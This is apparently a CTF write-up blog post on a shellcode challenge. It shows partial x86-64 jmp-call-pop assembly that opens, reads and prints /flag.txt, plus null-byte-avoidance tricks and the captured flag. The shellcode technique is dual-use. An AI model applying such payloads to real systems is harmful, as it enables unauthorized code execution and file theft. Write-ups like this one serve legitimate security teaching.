1337 Local CTF: shellcode — open/read/write /flag.txt

150 words
1 minute
1337 Local CTF: shellcode — open/read/write /flag.txt

shellcode#

Challenge Context#

The service accepted raw shellcode and executed it. The goal was to read /flag.txt and write it to stdout.

Core Idea#

Use standard x86-64 Linux syscalls:

open("/flag.txt", O_RDONLY)
read(fd, stack, 0x100)
write(1, stack, n)
exit(0)

The main engineering constraint was avoiding bad bytes in the code section.

Exploitation#

The shellcode used the jmp-call-pop pattern so the path string could live inline without hardcoded addresses:

jmp string_loader
main:
pop rdi ; rdi -> "/flag.txt"
xor esi, esi ; flags = O_RDONLY
mov al, 2 ; SYS_open
syscall
... read/write ...
string_loader:
call main
db "/flag.txt", 0

Null-byte avoidance tricks:

  • xor reg, reg instead of mov reg, 0
  • mov dh, 1 instead of mov rdx, 0x100
  • inc rdi instead of mov rdi, 1
  • keep the string terminator in data, not as an immediate in code

Flag#

Leet{5h3llc0d3_15_4w350m3}

Lesson Learned#

For shellcode challenges, the syscall sequence is usually simple. The real work is byte-level engineering: address independence, bad-byte avoidance, and knowing exactly how input is terminated.


Cover: Wallhaven w5m62x.

Share Article

If this article helped you, please share it with others!

1337 Local CTF: shellcode — open/read/write /flag.txt
https://achux21.github.io/posts/1337-local-ctf-shellcode/
Author
ACHUX21
Published at
2026-06-27
License
CC BY-NC-SA 4.0
Profile Image of the Author
ACHUX21
CTF player & security researcher
Notice
CTF writeups and security research. New posts coming soon.
Music
Cover

Music

No playing

0:00 0:00
No lyrics available
Categories
Tags
Site Statistics
Posts
28
Categories
3
Tags
81
Total Words
26,137
Running Days
0 days
Last Activity
0 days ago

Table of Contents